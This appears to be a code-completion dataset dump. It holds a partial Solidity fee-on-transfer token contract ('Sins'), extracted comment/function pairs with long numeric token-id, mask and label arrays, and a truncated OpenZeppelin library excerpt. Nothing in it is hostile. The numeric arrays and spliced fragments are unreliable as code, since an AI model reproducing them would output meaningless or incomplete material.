uint256 public buyLiquidityFee;
uint256 public buyBurnFee;
uint256 public buyBuybackFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellBurnFee;
uint256 public sellBuybackFee;
address public taxDistributor;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForBurn;
uint256 public tokensForBuyback;
bool public limitsInEffect = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
uint256 public maxTransactionAmount;
uint256 public maxWallet;
uint256 public initialSupply;
address public dai;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event buybackWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor(address _authority, address _marketingWallet, address _buybackWallet, address _dai)
ERC20("Sins", "SIN", 9)
ERC20Permit("Sins")
SinsAccessControlled(ISinsAuthority(_authority)) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
dai = _dai;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _dai);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
initialSupply = 50000*1e9;
maxTransactionAmount = initialSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn
maxWallet = initialSupply * 10 / 1000; // 1% maxWallet
_mint(authority.governor(), initialSupply);
uint256 _buyMarketingFee = 2;
uint256 _buyLiquidityFee = 3;
uint256 _buyBurnFee = 1;
uint256 _buyBuybackFee = 0;
uint256 _sellMarketingFee = 9;
uint256 _sellLiquidityFee = 3;
uint256 _sellBurnFee = 1;
uint256 _sellBuybackFee = 2;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyBurnFee = _buyBurnFee;
buyBuybackFee = _buyBuybackFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBurnFee + buyBuybackFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellBurnFee = _sellBurnFee;
sellBuybackFee = _sellBuybackFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBurnFee + sellBuybackFee;
marketingWallet = address(_marketingWallet);
buybackWallet = address(_buybackWallet);
// exclude from paying fees or having max transaction amount
excludeFromFees(authority.governor(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
}
receive() external payable {
}
// remove limits after token is stable
function removeLimits() external onlyGovernor returns (bool){
limitsInEffect = false;
sellMarketingFee = 4;
sellLiquidityFee = 3;
sellBurnFee = 1;
sellBuybackFee = 0;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBurnFee + sellBuybackFee;
return true;
}
function updateTaxDistributor(address _taxDistributor) external onlyGovernor {
taxDistributor = _taxDistributor;
}
function updateMaxTxnAmount(uint256 newNum) external onlyGovernor {
require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**9);
}
function updateMaxWalletAmount(uint256 newNum) external onlyGovernor {
require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**9);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyGovernor {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyGovernor returns (bool){
transferDelayEnabled = false;
return true;
}
// once enabled, can never be turned off
function enableTrading() external onlyGovernor {
tradingActive = true;
swapEnabled = true;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyGovernor {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function excludeFromFees(address account, bool excluded) public onlyGovernor {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyGovernor{
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _burnFee, uint256 _buybackFee) external onlyGovernor {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyBurnFee = _burnFee;
buyBuybackFee = _buybackFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBurnFee + buyBuybackFee;
require(buyTotalFees <= 15, "Must keep fees at 15% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _burnFee, uint256 _buybackFee) external onlyGovernor {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellBurnFee = _burnFee;
sellBuybackFee = _buybackFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBurnFee + sellBuybackFee;
require(sellTotalFees <= 15, "Must keep fees at 15% or less");
}
function updateMarketingWallet(address newMarketingWallet) external onlyGovernor {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateBuybackWallet(address newBuybackWallet) external onlyGovernor {
emit buybackWalletUpdated(newBuybackWallet, buybackWallet);
buybackWallet = newBuybackWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function mint(address account_, uint256 amount_) external override onlyVault {
_mint(account_, amount_);
}
function burn(uint256 amount) external override {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) external override {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) internal {
uint256 decreasedAllowance_ = allowance(account_, msg.sender).sub(amount_, "ERC20: burn amount exceeds allowance");
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != authority.governor() &&
to != authority.governor() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != authority.governor() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
if(
swapEnabled &&
!swapping &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to] &&
!automatedMarketMakerPairs[from]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
tokensForBurn = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForBurn = fees * sellBurnFee / sellTotalFees;
tokensForBuyback += fees * sellBuybackFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForBurn = fees * buyBurnFee / buyTotalFees;
tokensForBuyback += fees * buyBuybackFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees-tokensForBurn > 0){
super._transfer(from, address(this), fees.sub(tokensForBurn));
}
if (tokensForBurn > 0){
super._transfer(from, deadAddress, tokensForBurn);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForDai(uint256 tokenAmount) public {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dai;
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
taxDistributor,
block.timestamp
);
}
function swapBack() public {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForBuyback;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > totalSupply() * 5 / 10000 * 20){
contractBalance = totalSupply() * 5 / 10000 * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForDai = contractBalance.sub(liquidityTokens);
uint256 initialDaiBalance = IERC20(dai).balanceOf(taxDistributor);
swapTokensForDai(amountToSwapForDai);
uint256 daiBalance = IERC20(dai).balanceOf(taxDistributor).sub(initialDaiBalance);
uint256 daiForMarketing = daiBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 daiForBuyback = daiBalance.mul(tokensForBuyback).div(totalTokensToSwap);
uint256 daiForLiquidity = daiBalance - daiForMarketing - daiForBuyback;
super._transfer(address(this), taxDistributor, liquidityTokens);
ITaxDistributor(taxDistributor).distribute(address(uniswapV2Router), dai, marketingWallet, daiForBuyback, buybackWallet, liquidityTokens, daiForLiquidity, authority.governor());
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForBuyback = 0;
}
} | only use to disable contract sales if absolutely necessary (emergency use only) | function updateSwapEnabled(bool enabled) external onlyGovernor{
swapEnabled = enabled;
}
| 6,817,925 | [
1,
3700,
999,
358,
4056,
6835,
272,
5408,
309,
2417,
355,
322,
2357,
4573,
261,
351,
24530,
999,
1338,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1089,
12521,
1526,
12,
6430,
3696,
13,
3903,
1338,
43,
1643,
29561,
95,
203,
3639,
7720,
1526,
273,
3696,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x329958C6b828C32AEf708264ceC88d0E0D08C930/sources/RUBY.sol | * @dev See {IERC20-allowance}./ | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| 15,749,958 | [
1,
9704,
288,
45,
654,
39,
3462,
17,
5965,
1359,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
5965,
6872,
63,
8443,
6362,
87,
1302,
264,
15533,
203,
565,
289,
203,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
